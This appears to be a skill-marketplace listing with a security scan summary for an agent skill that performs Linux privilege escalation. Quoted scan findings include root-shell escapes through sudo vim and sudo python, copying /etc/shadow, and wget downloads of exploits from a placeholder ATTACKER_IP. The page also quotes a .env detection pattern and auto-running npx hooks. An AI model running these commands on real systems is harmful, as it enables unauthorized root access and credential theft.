linux-privilege-escalation

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By anubhavg-icpl/vibe (GitHub) · coding · 13 stars · scanned at commit d51e7ac

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. Use when you need help with linux privilege escalation.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.

Found in 92 places.

skills/ag-linux-privilege-escalation/SKILL.md, line 64hostname
skills/ag-linux-privilege-escalation/SKILL.md, line 84whoami
skills/ag-linux-privilege-escalation/SKILL.md, line 105ifconfig

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skills/ag-linux-privilege-escalation/SKILL.md, line 123ps aux
skills/ag-linux-privilege-escalation/SKILL.md, line 137env
skills/ag-linux-privilege-escalation/SKILL.md, line 149curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
skills/ag-linux-privilege-escalation/SKILL.md, line 168python3 -m http.server 8000
skills/ag-linux-privilege-escalation/SKILL.md, line 181uname -r
skills/ag-linux-privilege-escalation/SKILL.md, line 189./linux-exploit-suggester.sh
skills/ag-linux-privilege-escalation/SKILL.md, line 207wget http://ATTACKER_IP/exploit.c
skills/ag-linux-privilege-escalation/SKILL.md, line 221sudo -l
skills/ag-linux-privilege-escalation/SKILL.md, line 229sudo vim -c ':!/bin/bash'
skills/ag-linux-privilege-escalation/SKILL.md, line 238sudo python -c 'import os; os.system("/bin/bash")'
skills/ag-linux-privilege-escalation/SKILL.md, line 264gcc -fPIC -shared -o shell.so shell.c -nostartfiles
skills/ag-linux-privilege-escalation/SKILL.md, line 275find / -type f -perm -04000 -ls 2>/dev/null
skills/ag-linux-privilege-escalation/SKILL.md, line 284LFILE=/etc/shadow
skills/ag-linux-privilege-escalation/SKILL.md, line 300base64 /etc/shadow | base64 -d > shadow.txt
skills/ag-linux-privilege-escalation/SKILL.md, line 312openssl passwd -1 -salt new newpassword
skills/ag-linux-privilege-escalation/SKILL.md, line 323getcap -r / 2>/dev/null
skills/ag-linux-privilege-escalation/SKILL.md, line 330/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

and 72 more places

Sends data to these websites: github.com, attacker_ip

This is disclosed by the author in the skill's SKILL.md or README.

Found in 3 places.

skills/ag-linux-privilege-escalation/SKILL.md, line 149curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
skills/ag-linux-privilege-escalation/SKILL.md, line 171wget http://ATTACKER_IP:8000/linpeas.sh
skills/ag-linux-privilege-escalation/SKILL.md, line 207wget http://ATTACKER_IP/exploit.c

Downloads and installs other software

The author does not mention this. It runs automatically when the plugin is installed.

Found in 10 places.

.claude/settings.json, line 166"Bash(npx @claude-flow*)",
.claude/settings.json, line 167"Bash(npx claude-flow*)",
.mcp.json, line 4"command": "npx",

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hooks/cmods/README.md, line 96npx eslint --fix "$FILE" 2>/dev/null
hooks/cmods/post-edit-format.sh, line 29npx prettier --write "$FILE" 2>/dev/null && FORMATTED=true
hooks/cmods/post-edit-format.sh, line 32npx biome format --write "$FILE" 2>/dev/null && FORMATTED=true
hooks/cmods/post-edit-format.sh, line 80npx prettier --write "$FILE" 2>/dev/null && FORMATTED=true
hooks/cmods/post-edit-format.sh, line 86npx prettier --write "$FILE" 2>/dev/null && FORMATTED=true
hooks/cmods/pre-commit-lint.sh, line 38echo "$files" | xargs npx eslint --max-warnings 0 2>/dev/null
hooks/hooks.json, line 106"command": "#!/bin/bash\n# Run TypeScript check after editing TS files\ninput=$(cat)\nfile_path=$(echo \"$input\" | jq -r '.tool_input.file_path // \"\"')\n\nif

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README. It runs automatically when the plugin is installed.

Found in 1 place.

hooks/cmods/dangerous-cmd-warn.sh, line 79PATTERNS["cat\s+.*\\.env"]="Displaying .env file may expose secrets"

Safer alternatives

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Install

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if [ -e ~/.agents/skills/'linux-privilege-escalation' ] || [ -L ~/.agents/skills/'linux-privilege-escalation' ]; then echo 'A skill folder named linux-privilege-escalation already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/anubhavg-icpl/vibe' "$d" && git -C "$d" checkout --quiet 'd51e7ac9a34111cd2e63daed83c2198f91570050' -- 'skills/ag-linux-privilege-escalation' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/ag-linux-privilege-escalation' ~/.agents/skills/'linux-privilege-escalation' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'linux-privilege-escalation' ~/.claude/skills/'linux-privilege-escalation' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-08	`d51e7ac`	69